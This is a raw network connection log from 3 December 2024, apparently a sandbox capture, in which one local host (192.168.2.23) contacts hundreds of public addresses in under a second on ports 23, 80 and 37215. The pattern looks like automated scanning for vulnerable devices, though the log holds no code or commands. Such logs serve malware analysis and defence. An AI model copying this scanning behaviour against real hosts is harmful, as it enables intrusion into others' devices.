Dec 3, 2024 21:01:56.102621078 CET	19873	23	192.168.2.23	199.118.15.236
Dec 3, 2024 21:01:56.102621078 CET	19873	23	192.168.2.23	205.245.220.192
Dec 3, 2024 21:01:56.102631092 CET	19873	23	192.168.2.23	139.6.15.71
Dec 3, 2024 21:01:56.102632046 CET	19873	23	192.168.2.23	96.137.125.198
Dec 3, 2024 21:01:56.102632999 CET	19873	23	192.168.2.23	46.96.82.137
Dec 3, 2024 21:01:56.102632046 CET	19873	23	192.168.2.23	104.80.40.211
Dec 3, 2024 21:01:56.102636099 CET	19873	23	192.168.2.23	188.14.16.160
Dec 3, 2024 21:01:56.102639914 CET	19873	23	192.168.2.23	93.74.152.112
Dec 3, 2024 21:01:56.102643967 CET	19873	23	192.168.2.23	34.203.74.99
Dec 3, 2024 21:01:56.102643967 CET	19873	23	192.168.2.23	12.2.9.193
Dec 3, 2024 21:01:56.102658987 CET	19873	23	192.168.2.23	110.228.145.110
Dec 3, 2024 21:01:56.102664948 CET	19873	23	192.168.2.23	58.224.253.160
Dec 3, 2024 21:01:56.102667093 CET	19873	23	192.168.2.23	110.211.102.109
Dec 3, 2024 21:01:56.102667093 CET	19873	23	192.168.2.23	89.166.52.100
Dec 3, 2024 21:01:56.102679968 CET	19873	23	192.168.2.23	71.49.17.220
Dec 3, 2024 21:01:56.102684975 CET	19873	23	192.168.2.23	193.234.23.181
Dec 3, 2024 21:01:56.102684975 CET	19873	23	192.168.2.23	201.179.89.164
Dec 3, 2024 21:01:56.102916002 CET	19873	23	192.168.2.23	178.62.56.94
Dec 3, 2024 21:01:56.125293970 CET	20129	80	192.168.2.23	191.53.63.28
Dec 3, 2024 21:01:56.125294924 CET	20129	80	192.168.2.23	136.20.109.63
Dec 3, 2024 21:01:56.125299931 CET	20129	80	192.168.2.23	189.117.246.146
Dec 3, 2024 21:01:56.125299931 CET	20129	80	192.168.2.23	37.81.160.205
Dec 3, 2024 21:01:56.125302076 CET	20129	80	192.168.2.23	111.96.99.167
Dec 3, 2024 21:01:56.125315905 CET	20129	80	192.168.2.23	133.136.141.96
Dec 3, 2024 21:01:56.125319958 CET	20129	80	192.168.2.23	92.151.12.103
Dec 3, 2024 21:01:56.125329971 CET	20129	80	192.168.2.23	139.223.237.235
Dec 3, 2024 21:01:56.125333071 CET	20129	80	192.168.2.23	115.116.240.55
Dec 3, 2024 21:01:56.125338078 CET	20129	80	192.168.2.23	103.67.85.237
Dec 3, 2024 21:01:56.125340939 CET	20129	80	192.168.2.23	133.17.44.100
Dec 3, 2024 21:01:56.125360966 CET	20129	80	192.168.2.23	72.99.165.109
Dec 3, 2024 21:01:56.125535965 CET	20129	80	192.168.2.23	158.55.252.197
Dec 3, 2024 21:01:56.125535965 CET	20129	80	192.168.2.23	48.45.199.252
Dec 3, 2024 21:01:56.125535965 CET	20129	80	192.168.2.23	166.80.191.58
Dec 3, 2024 21:01:56.125535965 CET	20129	80	192.168.2.23	154.178.5.51
Dec 3, 2024 21:01:56.125535965 CET	20129	80	192.168.2.23	63.236.45.154
Dec 3, 2024 21:01:56.125535965 CET	20129	80	192.168.2.23	84.173.141.141
Dec 3, 2024 21:01:56.125535965 CET	20129	80	192.168.2.23	62.40.110.39
Dec 3, 2024 21:01:56.125541925 CET	20129	80	192.168.2.23	44.234.68.144
Dec 3, 2024 21:01:56.125541925 CET	20129	80	192.168.2.23	150.87.203.144
Dec 3, 2024 21:01:56.125541925 CET	20129	80	192.168.2.23	146.225.83.214
Dec 3, 2024 21:01:56.125545979 CET	20129	80	192.168.2.23	167.125.38.210
Dec 3, 2024 21:01:56.125545979 CET	20129	80	192.168.2.23	152.249.95.76
Dec 3, 2024 21:01:56.125545979 CET	20129	80	192.168.2.23	122.22.156.157
Dec 3, 2024 21:01:56.125545979 CET	20129	80	192.168.2.23	83.202.210.148
Dec 3, 2024 21:01:56.125545979 CET	20129	80	192.168.2.23	199.123.131.236
Dec 3, 2024 21:01:56.125545979 CET	20129	80	192.168.2.23	38.191.45.249
Dec 3, 2024 21:01:56.125546932 CET	20129	80	192.168.2.23	198.217.221.25
Dec 3, 2024 21:01:56.125546932 CET	20129	80	192.168.2.23	19.181.22.151
Dec 3, 2024 21:01:56.125545979 CET	20129	80	192.168.2.23	71.92.140.249
Dec 3, 2024 21:01:56.125546932 CET	20129	80	192.168.2.23	133.38.144.204
Dec 3, 2024 21:01:56.125546932 CET	20129	80	192.168.2.23	211.239.8.107
Dec 3, 2024 21:01:56.125546932 CET	20129	80	192.168.2.23	177.28.6.206
Dec 3, 2024 21:01:56.125546932 CET	20129	80	192.168.2.23	194.162.83.3
Dec 3, 2024 21:01:56.125546932 CET	20129	80	192.168.2.23	91.74.74.192
Dec 3, 2024 21:01:56.125546932 CET	20129	80	192.168.2.23	89.93.101.227
Dec 3, 2024 21:01:56.125546932 CET	20129	80	192.168.2.23	44.211.27.114
Dec 3, 2024 21:01:56.125546932 CET	20129	80	192.168.2.23	58.228.50.102
Dec 3, 2024 21:01:56.125546932 CET	20129	80	192.168.2.23	168.19.239.86
Dec 3, 2024 21:01:56.125605106 CET	20129	80	192.168.2.23	99.76.145.91
Dec 3, 2024 21:01:56.125605106 CET	20129	80	192.168.2.23	76.242.237.9
Dec 3, 2024 21:01:56.125605106 CET	20129	80	192.168.2.23	89.11.117.185
Dec 3, 2024 21:01:56.125605106 CET	20129	80	192.168.2.23	165.131.132.47
Dec 3, 2024 21:01:56.125605106 CET	20129	80	192.168.2.23	160.45.65.237
Dec 3, 2024 21:01:56.125605106 CET	20129	80	192.168.2.23	34.98.129.97
Dec 3, 2024 21:01:56.125605106 CET	20129	80	192.168.2.23	208.12.175.79
Dec 3, 2024 21:01:56.125605106 CET	20129	80	192.168.2.23	74.5.240.174
Dec 3, 2024 21:01:56.125607014 CET	20129	80	192.168.2.23	58.129.175.249
Dec 3, 2024 21:01:56.125607014 CET	20129	80	192.168.2.23	219.218.81.208
Dec 3, 2024 21:01:56.125607014 CET	20129	80	192.168.2.23	60.183.42.237
Dec 3, 2024 21:01:56.125607014 CET	20129	80	192.168.2.23	198.179.201.219
Dec 3, 2024 21:01:56.125607014 CET	20129	80	192.168.2.23	161.240.145.249
Dec 3, 2024 21:01:56.125607014 CET	20129	80	192.168.2.23	178.21.250.43
Dec 3, 2024 21:01:56.125607014 CET	20129	80	192.168.2.23	162.70.37.227
Dec 3, 2024 21:01:56.125607014 CET	20129	80	192.168.2.23	43.197.212.47
Dec 3, 2024 21:01:56.125613928 CET	20129	80	192.168.2.23	167.212.33.17
Dec 3, 2024 21:01:56.125613928 CET	20129	80	192.168.2.23	102.107.73.62
Dec 3, 2024 21:01:56.125613928 CET	20129	80	192.168.2.23	146.27.206.167
Dec 3, 2024 21:01:56.125616074 CET	20129	80	192.168.2.23	17.206.201.207
Dec 3, 2024 21:01:56.125616074 CET	20129	80	192.168.2.23	206.197.120.46
Dec 3, 2024 21:01:56.125616074 CET	20129	80	192.168.2.23	187.178.16.165
Dec 3, 2024 21:01:56.125616074 CET	20129	80	192.168.2.23	121.106.242.212
Dec 3, 2024 21:01:56.125616074 CET	20129	80	192.168.2.23	203.63.241.252
Dec 3, 2024 21:01:56.125616074 CET	20129	80	192.168.2.23	166.127.180.236
Dec 3, 2024 21:01:56.125616074 CET	20129	80	192.168.2.23	117.242.87.63
Dec 3, 2024 21:01:56.125618935 CET	20129	80	192.168.2.23	66.26.27.33
Dec 3, 2024 21:01:56.125618935 CET	20129	80	192.168.2.23	156.221.220.87
Dec 3, 2024 21:01:56.125618935 CET	20129	80	192.168.2.23	108.240.48.249
Dec 3, 2024 21:01:56.125618935 CET	20129	80	192.168.2.23	69.230.226.4
Dec 3, 2024 21:01:56.125618935 CET	20129	80	192.168.2.23	123.125.7.239
Dec 3, 2024 21:01:56.125618935 CET	20129	80	192.168.2.23	119.28.222.134
Dec 3, 2024 21:01:56.125618935 CET	20129	80	192.168.2.23	35.172.8.125
Dec 3, 2024 21:01:56.125618935 CET	20129	80	192.168.2.23	86.96.213.115
Dec 3, 2024 21:01:56.125621080 CET	20129	80	192.168.2.23	109.195.165.77
Dec 3, 2024 21:01:56.125621080 CET	20129	80	192.168.2.23	161.169.224.117
Dec 3, 2024 21:01:56.125621080 CET	20129	80	192.168.2.23	223.6.124.68
Dec 3, 2024 21:01:56.125622034 CET	20129	80	192.168.2.23	151.187.141.133
Dec 3, 2024 21:01:56.125622034 CET	20129	80	192.168.2.23	177.165.221.102
Dec 3, 2024 21:01:56.125622034 CET	20129	80	192.168.2.23	107.141.37.0
Dec 3, 2024 21:01:56.125623941 CET	20129	80	192.168.2.23	199.248.116.132
Dec 3, 2024 21:01:56.125622034 CET	20129	80	192.168.2.23	141.239.239.82
Dec 3, 2024 21:01:56.125623941 CET	20129	80	192.168.2.23	194.86.253.145
Dec 3, 2024 21:01:56.125622988 CET	20129	80	192.168.2.23	91.126.232.71
Dec 3, 2024 21:01:56.125622034 CET	20129	80	192.168.2.23	62.57.34.62
Dec 3, 2024 21:01:56.125622988 CET	20129	80	192.168.2.23	104.187.119.145
Dec 3, 2024 21:01:56.125624895 CET	20129	80	192.168.2.23	41.251.64.167
Dec 3, 2024 21:01:56.125622988 CET	20129	80	192.168.2.23	77.246.243.187
Dec 3, 2024 21:01:56.125622034 CET	20129	80	192.168.2.23	194.10.202.173
Dec 3, 2024 21:01:56.125628948 CET	20129	80	192.168.2.23	43.139.135.54
Dec 3, 2024 21:01:56.125623941 CET	20129	80	192.168.2.23	52.70.21.42
Dec 3, 2024 21:01:56.125628948 CET	20129	80	192.168.2.23	85.94.213.137
Dec 3, 2024 21:01:56.125622034 CET	20129	80	192.168.2.23	168.249.51.250
Dec 3, 2024 21:01:56.125623941 CET	20129	80	192.168.2.23	152.74.177.231
Dec 3, 2024 21:01:56.125624895 CET	20129	80	192.168.2.23	43.212.150.192
Dec 3, 2024 21:01:56.125622034 CET	20129	80	192.168.2.23	166.25.109.248
Dec 3, 2024 21:01:56.125623941 CET	20129	80	192.168.2.23	131.71.159.213
Dec 3, 2024 21:01:56.125623941 CET	20129	80	192.168.2.23	59.162.145.89
Dec 3, 2024 21:01:56.125623941 CET	20129	80	192.168.2.23	191.222.3.48
Dec 3, 2024 21:01:56.125623941 CET	20129	80	192.168.2.23	141.241.55.62
Dec 3, 2024 21:01:56.125623941 CET	20129	80	192.168.2.23	158.65.203.196
Dec 3, 2024 21:01:56.125623941 CET	20129	80	192.168.2.23	156.178.88.189
Dec 3, 2024 21:01:56.125624895 CET	20129	80	192.168.2.23	162.37.93.227
Dec 3, 2024 21:01:56.125624895 CET	20129	80	192.168.2.23	102.63.87.233
Dec 3, 2024 21:01:56.125624895 CET	20129	80	192.168.2.23	83.110.212.76
Dec 3, 2024 21:01:56.125624895 CET	20129	80	192.168.2.23	40.208.122.202
Dec 3, 2024 21:01:56.125624895 CET	20129	80	192.168.2.23	124.156.204.153
Dec 3, 2024 21:01:56.125624895 CET	20129	80	192.168.2.23	118.119.23.34
Dec 3, 2024 21:01:56.125647068 CET	20129	80	192.168.2.23	116.127.206.149
Dec 3, 2024 21:01:56.125650883 CET	20129	80	192.168.2.23	147.187.155.55
Dec 3, 2024 21:01:56.125650883 CET	20129	80	192.168.2.23	221.124.52.250
Dec 3, 2024 21:01:56.125650883 CET	20129	80	192.168.2.23	209.143.219.231
Dec 3, 2024 21:01:56.125650883 CET	20129	80	192.168.2.23	19.110.120.65
Dec 3, 2024 21:01:56.125650883 CET	20129	80	192.168.2.23	167.7.42.123
Dec 3, 2024 21:01:56.125650883 CET	20129	80	192.168.2.23	41.53.178.144
Dec 3, 2024 21:01:56.125653028 CET	20129	80	192.168.2.23	140.92.121.230
Dec 3, 2024 21:01:56.125653028 CET	20129	80	192.168.2.23	104.205.116.7
Dec 3, 2024 21:01:56.125653028 CET	20129	80	192.168.2.23	61.192.185.166
Dec 3, 2024 21:01:56.125653982 CET	20129	80	192.168.2.23	95.44.195.162
Dec 3, 2024 21:01:56.125653028 CET	20129	80	192.168.2.23	20.135.120.192
Dec 3, 2024 21:01:56.125653028 CET	20129	80	192.168.2.23	138.90.42.151
Dec 3, 2024 21:01:56.125653028 CET	20129	80	192.168.2.23	166.64.65.144
Dec 3, 2024 21:01:56.125657082 CET	20129	80	192.168.2.23	20.176.37.26
Dec 3, 2024 21:01:56.125657082 CET	20129	80	192.168.2.23	204.248.228.92
Dec 3, 2024 21:01:56.125657082 CET	20129	80	192.168.2.23	188.127.151.70
Dec 3, 2024 21:01:56.125657082 CET	20129	80	192.168.2.23	61.38.3.90
Dec 3, 2024 21:01:56.125657082 CET	20129	80	192.168.2.23	9.170.224.58
Dec 3, 2024 21:01:56.125662088 CET	20129	80	192.168.2.23	102.143.100.193
Dec 3, 2024 21:01:56.125668049 CET	20129	80	192.168.2.23	197.89.92.140
Dec 3, 2024 21:01:56.125668049 CET	20129	80	192.168.2.23	192.119.186.70
Dec 3, 2024 21:01:56.125668049 CET	20129	80	192.168.2.23	158.66.140.253
Dec 3, 2024 21:01:56.125672102 CET	20129	80	192.168.2.23	40.199.74.169
Dec 3, 2024 21:01:56.125673056 CET	20129	80	192.168.2.23	42.191.244.253
Dec 3, 2024 21:01:56.125674009 CET	20129	80	192.168.2.23	64.192.209.107
Dec 3, 2024 21:01:56.125678062 CET	20129	80	192.168.2.23	137.55.214.185
Dec 3, 2024 21:01:56.125678062 CET	20129	80	192.168.2.23	81.3.100.186
Dec 3, 2024 21:01:56.125696898 CET	20129	80	192.168.2.23	9.181.93.144
Dec 3, 2024 21:01:56.125704050 CET	20129	80	192.168.2.23	151.170.141.57
Dec 3, 2024 21:01:56.125704050 CET	20129	80	192.168.2.23	144.38.238.90
Dec 3, 2024 21:01:56.125705004 CET	20129	80	192.168.2.23	211.230.3.166
Dec 3, 2024 21:01:56.125716925 CET	20129	80	192.168.2.23	111.138.238.147
Dec 3, 2024 21:01:56.125716925 CET	20129	80	192.168.2.23	38.74.141.32
Dec 3, 2024 21:01:56.125716925 CET	20129	80	192.168.2.23	150.66.79.48
Dec 3, 2024 21:01:56.125716925 CET	20129	80	192.168.2.23	114.160.41.75
Dec 3, 2024 21:01:56.125716925 CET	20129	80	192.168.2.23	109.49.90.184
Dec 3, 2024 21:01:56.125716925 CET	20129	80	192.168.2.23	197.118.164.119
Dec 3, 2024 21:01:56.125720978 CET	20129	80	192.168.2.23	24.94.13.1
Dec 3, 2024 21:01:56.125720978 CET	20129	80	192.168.2.23	109.134.90.20
Dec 3, 2024 21:01:56.125720978 CET	20129	80	192.168.2.23	170.246.162.35
Dec 3, 2024 21:01:56.125720978 CET	20129	80	192.168.2.23	126.101.171.47
Dec 3, 2024 21:01:56.125721931 CET	20129	80	192.168.2.23	119.157.113.216
Dec 3, 2024 21:01:56.125722885 CET	20129	80	192.168.2.23	64.217.231.215
Dec 3, 2024 21:01:56.125724077 CET	20129	80	192.168.2.23	202.197.35.12
Dec 3, 2024 21:01:56.125720978 CET	20129	80	192.168.2.23	97.100.182.89
Dec 3, 2024 21:01:56.125732899 CET	20129	80	192.168.2.23	162.32.23.3
Dec 3, 2024 21:01:56.125734091 CET	20129	80	192.168.2.23	161.76.169.107
Dec 3, 2024 21:01:56.125747919 CET	20129	80	192.168.2.23	212.38.45.76
Dec 3, 2024 21:01:56.125747919 CET	20129	80	192.168.2.23	118.147.203.229
Dec 3, 2024 21:01:56.125763893 CET	20129	80	192.168.2.23	105.93.52.26
Dec 3, 2024 21:01:56.125782013 CET	20129	80	192.168.2.23	9.181.23.87
Dec 3, 2024 21:01:56.125782967 CET	20129	80	192.168.2.23	147.81.45.134
Dec 3, 2024 21:01:56.125783920 CET	20129	80	192.168.2.23	32.241.66.116
Dec 3, 2024 21:01:56.125792027 CET	20129	80	192.168.2.23	168.147.206.242
Dec 3, 2024 21:01:56.125794888 CET	20129	80	192.168.2.23	139.127.73.23
Dec 3, 2024 21:01:56.125794888 CET	20129	80	192.168.2.23	191.67.6.61
Dec 3, 2024 21:01:56.125794888 CET	20129	80	192.168.2.23	1.137.28.49
Dec 3, 2024 21:01:56.125801086 CET	20129	80	192.168.2.23	45.245.123.186
Dec 3, 2024 21:01:56.125804901 CET	20129	80	192.168.2.23	128.243.122.170
Dec 3, 2024 21:01:56.125807047 CET	20129	80	192.168.2.23	136.162.96.16
Dec 3, 2024 21:01:56.125808954 CET	20129	80	192.168.2.23	128.128.196.53
Dec 3, 2024 21:01:56.125812054 CET	20129	80	192.168.2.23	25.170.82.178
Dec 3, 2024 21:01:56.125823975 CET	20129	80	192.168.2.23	181.228.1.110
Dec 3, 2024 21:01:56.125828981 CET	20129	80	192.168.2.23	176.6.10.168
Dec 3, 2024 21:01:56.125833035 CET	20129	80	192.168.2.23	221.160.108.199
Dec 3, 2024 21:01:56.125844002 CET	20129	80	192.168.2.23	61.188.184.80
Dec 3, 2024 21:01:56.125848055 CET	20129	80	192.168.2.23	176.109.43.227
Dec 3, 2024 21:01:56.125854969 CET	20129	80	192.168.2.23	182.153.152.42
Dec 3, 2024 21:01:56.125859022 CET	20129	80	192.168.2.23	1.9.186.177
Dec 3, 2024 21:01:56.125859022 CET	20129	80	192.168.2.23	180.140.237.141
Dec 3, 2024 21:01:56.125859022 CET	20129	80	192.168.2.23	18.215.249.203
Dec 3, 2024 21:01:56.125859022 CET	20129	80	192.168.2.23	42.210.117.57
Dec 3, 2024 21:01:56.125859022 CET	20129	80	192.168.2.23	168.73.129.252
Dec 3, 2024 21:01:56.125865936 CET	20129	80	192.168.2.23	200.97.85.231
Dec 3, 2024 21:01:56.125870943 CET	20129	80	192.168.2.23	53.170.214.170
Dec 3, 2024 21:01:56.125880003 CET	20129	80	192.168.2.23	64.130.157.113
Dec 3, 2024 21:01:56.125880003 CET	20129	80	192.168.2.23	24.3.160.210
Dec 3, 2024 21:01:56.125894070 CET	20129	80	192.168.2.23	206.246.221.167
Dec 3, 2024 21:01:56.125894070 CET	20129	80	192.168.2.23	204.61.144.38
Dec 3, 2024 21:01:56.125894070 CET	20129	80	192.168.2.23	131.236.80.235
Dec 3, 2024 21:01:56.125895977 CET	20129	80	192.168.2.23	68.230.76.209
Dec 3, 2024 21:01:56.125902891 CET	20129	80	192.168.2.23	165.15.238.195
Dec 3, 2024 21:01:56.125904083 CET	20129	80	192.168.2.23	116.67.138.192
Dec 3, 2024 21:01:56.125922918 CET	20129	80	192.168.2.23	174.133.9.75
Dec 3, 2024 21:01:56.125922918 CET	20129	80	192.168.2.23	188.196.146.178
Dec 3, 2024 21:01:56.125922918 CET	20129	80	192.168.2.23	152.16.107.75
Dec 3, 2024 21:01:56.125930071 CET	20129	80	192.168.2.23	171.173.166.243
Dec 3, 2024 21:01:56.125931025 CET	20129	80	192.168.2.23	69.14.53.125
Dec 3, 2024 21:01:56.125936031 CET	20129	80	192.168.2.23	200.230.241.181
Dec 3, 2024 21:01:56.125938892 CET	20129	80	192.168.2.23	191.64.121.50
Dec 3, 2024 21:01:56.125938892 CET	20129	80	192.168.2.23	94.134.83.32
Dec 3, 2024 21:01:56.125952005 CET	20129	80	192.168.2.23	53.232.64.221
Dec 3, 2024 21:01:56.125958920 CET	20129	80	192.168.2.23	195.234.158.188
Dec 3, 2024 21:01:56.125960112 CET	20129	80	192.168.2.23	80.245.36.232
Dec 3, 2024 21:01:56.125962973 CET	20129	80	192.168.2.23	71.76.123.54
Dec 3, 2024 21:01:56.125962973 CET	20129	80	192.168.2.23	34.92.247.251
Dec 3, 2024 21:01:56.125962973 CET	20129	80	192.168.2.23	149.117.108.105
Dec 3, 2024 21:01:56.125967979 CET	20129	80	192.168.2.23	2.65.220.59
Dec 3, 2024 21:01:56.125969887 CET	20129	80	192.168.2.23	140.42.161.93
Dec 3, 2024 21:01:56.125971079 CET	20129	80	192.168.2.23	160.238.21.181
Dec 3, 2024 21:01:56.125979900 CET	20129	80	192.168.2.23	120.133.195.253
Dec 3, 2024 21:01:56.125982046 CET	20129	80	192.168.2.23	179.143.198.225
Dec 3, 2024 21:01:56.125998974 CET	20129	80	192.168.2.23	154.28.236.116
Dec 3, 2024 21:01:56.126019001 CET	20129	80	192.168.2.23	48.113.166.46
Dec 3, 2024 21:01:56.126019001 CET	20129	80	192.168.2.23	152.158.5.130
Dec 3, 2024 21:01:56.126024008 CET	20129	80	192.168.2.23	170.76.243.112
Dec 3, 2024 21:01:56.126030922 CET	20129	80	192.168.2.23	83.109.215.122
Dec 3, 2024 21:01:56.126033068 CET	20129	80	192.168.2.23	223.46.250.41
Dec 3, 2024 21:01:56.126041889 CET	20129	80	192.168.2.23	62.213.172.142
Dec 3, 2024 21:01:56.126044989 CET	20129	80	192.168.2.23	52.92.181.235
Dec 3, 2024 21:01:56.126045942 CET	20129	80	192.168.2.23	5.14.77.39
Dec 3, 2024 21:01:56.126053095 CET	20129	80	192.168.2.23	145.218.73.200
Dec 3, 2024 21:01:56.126061916 CET	20129	80	192.168.2.23	79.190.164.146
Dec 3, 2024 21:01:56.126066923 CET	20129	80	192.168.2.23	157.178.87.77
Dec 3, 2024 21:01:56.126068115 CET	20129	80	192.168.2.23	220.222.254.9
Dec 3, 2024 21:01:56.126072884 CET	20129	80	192.168.2.23	166.48.156.56
Dec 3, 2024 21:01:56.126077890 CET	20129	80	192.168.2.23	155.161.25.177
Dec 3, 2024 21:01:56.126077890 CET	20129	80	192.168.2.23	155.39.230.193
Dec 3, 2024 21:01:56.126081944 CET	20129	80	192.168.2.23	168.155.82.241
Dec 3, 2024 21:01:56.126087904 CET	20129	80	192.168.2.23	117.128.93.247
Dec 3, 2024 21:01:56.126091003 CET	20129	80	192.168.2.23	13.46.227.104
Dec 3, 2024 21:01:56.126099110 CET	20129	80	192.168.2.23	52.122.147.196
Dec 3, 2024 21:01:56.126102924 CET	20129	80	192.168.2.23	160.224.239.0
Dec 3, 2024 21:01:56.126106977 CET	20129	80	192.168.2.23	156.105.164.247
Dec 3, 2024 21:01:56.126106977 CET	20129	80	192.168.2.23	157.188.205.68
Dec 3, 2024 21:01:56.126111031 CET	20129	80	192.168.2.23	57.32.47.19
Dec 3, 2024 21:01:56.126116037 CET	20129	80	192.168.2.23	167.158.45.14
Dec 3, 2024 21:01:56.126127958 CET	20129	80	192.168.2.23	43.35.8.40
Dec 3, 2024 21:01:56.126135111 CET	20129	80	192.168.2.23	197.218.40.163
Dec 3, 2024 21:01:56.126136065 CET	20129	80	192.168.2.23	203.169.91.203
Dec 3, 2024 21:01:56.126136065 CET	20129	80	192.168.2.23	121.150.201.132
Dec 3, 2024 21:01:56.126140118 CET	20129	80	192.168.2.23	89.16.230.57
Dec 3, 2024 21:01:56.126140118 CET	20129	80	192.168.2.23	168.133.127.219
Dec 3, 2024 21:01:56.126140118 CET	20129	80	192.168.2.23	12.224.171.61
Dec 3, 2024 21:01:56.126143932 CET	20129	80	192.168.2.23	61.68.252.106
Dec 3, 2024 21:01:56.126147985 CET	20129	80	192.168.2.23	146.223.252.131
Dec 3, 2024 21:01:56.126154900 CET	20129	80	192.168.2.23	43.211.197.64
Dec 3, 2024 21:01:56.126156092 CET	20129	80	192.168.2.23	195.119.124.99
Dec 3, 2024 21:01:56.126179934 CET	20129	80	192.168.2.23	125.71.195.233
Dec 3, 2024 21:01:56.126179934 CET	20129	80	192.168.2.23	24.202.226.79
Dec 3, 2024 21:01:56.126180887 CET	20129	80	192.168.2.23	99.34.82.82
Dec 3, 2024 21:01:56.126185894 CET	20129	80	192.168.2.23	45.197.146.102
Dec 3, 2024 21:01:56.126188040 CET	20129	80	192.168.2.23	118.189.168.55
Dec 3, 2024 21:01:56.126192093 CET	20129	80	192.168.2.23	138.74.64.159
Dec 3, 2024 21:01:56.126200914 CET	20129	80	192.168.2.23	48.224.216.158
Dec 3, 2024 21:01:56.126204014 CET	20129	80	192.168.2.23	206.16.117.51
Dec 3, 2024 21:01:56.126205921 CET	20129	80	192.168.2.23	204.82.95.227
Dec 3, 2024 21:01:56.126211882 CET	20129	80	192.168.2.23	173.194.48.242
Dec 3, 2024 21:01:56.126211882 CET	20129	80	192.168.2.23	59.148.139.239
Dec 3, 2024 21:01:56.126211882 CET	20129	80	192.168.2.23	65.206.153.154
Dec 3, 2024 21:01:56.126211882 CET	20129	80	192.168.2.23	149.137.32.89
Dec 3, 2024 21:01:56.126214981 CET	20129	80	192.168.2.23	201.221.21.221
Dec 3, 2024 21:01:56.126224041 CET	20129	80	192.168.2.23	176.2.124.215
Dec 3, 2024 21:01:56.126250029 CET	20129	80	192.168.2.23	150.194.71.113
Dec 3, 2024 21:01:56.126254082 CET	20129	80	192.168.2.23	210.248.5.41
Dec 3, 2024 21:01:56.126255035 CET	20129	80	192.168.2.23	178.55.241.9
Dec 3, 2024 21:01:56.126255989 CET	20129	80	192.168.2.23	125.201.142.224
Dec 3, 2024 21:01:56.126260042 CET	20129	80	192.168.2.23	159.210.137.135
Dec 3, 2024 21:01:56.126260042 CET	20129	80	192.168.2.23	179.182.139.185
Dec 3, 2024 21:01:56.126265049 CET	20129	80	192.168.2.23	144.10.238.155
Dec 3, 2024 21:01:56.126266003 CET	20129	80	192.168.2.23	95.144.185.146
Dec 3, 2024 21:01:56.126276016 CET	20129	80	192.168.2.23	39.63.161.199
Dec 3, 2024 21:01:56.126276970 CET	20129	80	192.168.2.23	115.194.180.243
Dec 3, 2024 21:01:56.126283884 CET	20129	80	192.168.2.23	190.68.132.179
Dec 3, 2024 21:01:56.126283884 CET	20129	80	192.168.2.23	174.185.27.209
Dec 3, 2024 21:01:56.126288891 CET	20129	80	192.168.2.23	146.122.84.140
Dec 3, 2024 21:01:56.126305103 CET	20129	80	192.168.2.23	98.245.33.72
Dec 3, 2024 21:01:56.126307011 CET	20129	80	192.168.2.23	144.36.131.222
Dec 3, 2024 21:01:56.126310110 CET	20129	80	192.168.2.23	175.142.91.148
Dec 3, 2024 21:01:56.126313925 CET	20129	80	192.168.2.23	164.158.200.23
Dec 3, 2024 21:01:56.126322031 CET	20129	80	192.168.2.23	222.128.239.233
Dec 3, 2024 21:01:56.126322031 CET	20129	80	192.168.2.23	109.207.197.182
Dec 3, 2024 21:01:56.126324892 CET	20129	80	192.168.2.23	175.75.186.73
Dec 3, 2024 21:01:56.126324892 CET	20129	80	192.168.2.23	179.165.51.205
Dec 3, 2024 21:01:56.126333952 CET	20129	80	192.168.2.23	9.184.33.199
Dec 3, 2024 21:01:56.126337051 CET	20129	80	192.168.2.23	181.234.199.132
Dec 3, 2024 21:01:56.126348019 CET	20129	80	192.168.2.23	45.117.56.23
Dec 3, 2024 21:01:56.126349926 CET	20129	80	192.168.2.23	81.87.142.71
Dec 3, 2024 21:01:56.126365900 CET	20129	80	192.168.2.23	103.211.49.164
Dec 3, 2024 21:01:56.126369953 CET	20129	80	192.168.2.23	107.249.187.214
Dec 3, 2024 21:01:56.126373053 CET	20129	80	192.168.2.23	67.247.35.96
Dec 3, 2024 21:01:56.126382113 CET	20129	80	192.168.2.23	196.213.162.187
Dec 3, 2024 21:01:56.126393080 CET	20129	80	192.168.2.23	117.145.76.147
Dec 3, 2024 21:01:56.126395941 CET	20129	80	192.168.2.23	160.126.13.239
Dec 3, 2024 21:01:56.126398087 CET	20129	80	192.168.2.23	197.139.114.62
Dec 3, 2024 21:01:56.126401901 CET	20129	80	192.168.2.23	190.4.210.236
Dec 3, 2024 21:01:56.126414061 CET	20129	80	192.168.2.23	17.158.87.154
Dec 3, 2024 21:01:56.126415968 CET	20129	80	192.168.2.23	133.143.21.161
Dec 3, 2024 21:01:56.126418114 CET	20129	80	192.168.2.23	69.149.33.219
Dec 3, 2024 21:01:56.126421928 CET	20129	80	192.168.2.23	70.216.229.16
Dec 3, 2024 21:01:56.126421928 CET	20129	80	192.168.2.23	188.28.179.238
Dec 3, 2024 21:01:56.126442909 CET	20129	80	192.168.2.23	154.229.115.126
Dec 3, 2024 21:01:56.126444101 CET	20129	80	192.168.2.23	130.27.1.38
Dec 3, 2024 21:01:56.126444101 CET	20129	80	192.168.2.23	45.46.212.142
Dec 3, 2024 21:01:56.126444101 CET	20129	80	192.168.2.23	35.215.116.70
Dec 3, 2024 21:01:56.126456976 CET	20129	80	192.168.2.23	204.104.132.121
Dec 3, 2024 21:01:56.126456976 CET	20129	80	192.168.2.23	221.153.40.141
Dec 3, 2024 21:01:56.126460075 CET	20129	80	192.168.2.23	131.39.115.62
Dec 3, 2024 21:01:56.126460075 CET	20129	80	192.168.2.23	212.3.81.184
Dec 3, 2024 21:01:56.126463890 CET	20129	80	192.168.2.23	81.69.25.77
Dec 3, 2024 21:01:56.126471043 CET	20129	80	192.168.2.23	175.156.188.182
Dec 3, 2024 21:01:56.126472950 CET	20129	80	192.168.2.23	216.185.173.58
Dec 3, 2024 21:01:56.126477003 CET	20129	80	192.168.2.23	205.112.31.194
Dec 3, 2024 21:01:56.126477003 CET	20129	80	192.168.2.23	168.144.145.242
Dec 3, 2024 21:01:56.126477003 CET	20129	80	192.168.2.23	192.176.15.76
Dec 3, 2024 21:01:56.126482010 CET	20129	80	192.168.2.23	98.48.235.187
Dec 3, 2024 21:01:56.126487970 CET	20129	80	192.168.2.23	47.106.29.177
Dec 3, 2024 21:01:56.126497030 CET	20129	80	192.168.2.23	151.17.60.34
Dec 3, 2024 21:01:56.126497984 CET	20129	80	192.168.2.23	120.245.118.192
Dec 3, 2024 21:01:56.126502037 CET	20129	80	192.168.2.23	173.149.10.22
Dec 3, 2024 21:01:56.126512051 CET	20129	80	192.168.2.23	72.37.18.184
Dec 3, 2024 21:01:56.145143032 CET	18849	37215	192.168.2.23	156.137.5.90
Dec 3, 2024 21:01:56.145160913 CET	18849	37215	192.168.2.23	156.130.75.171
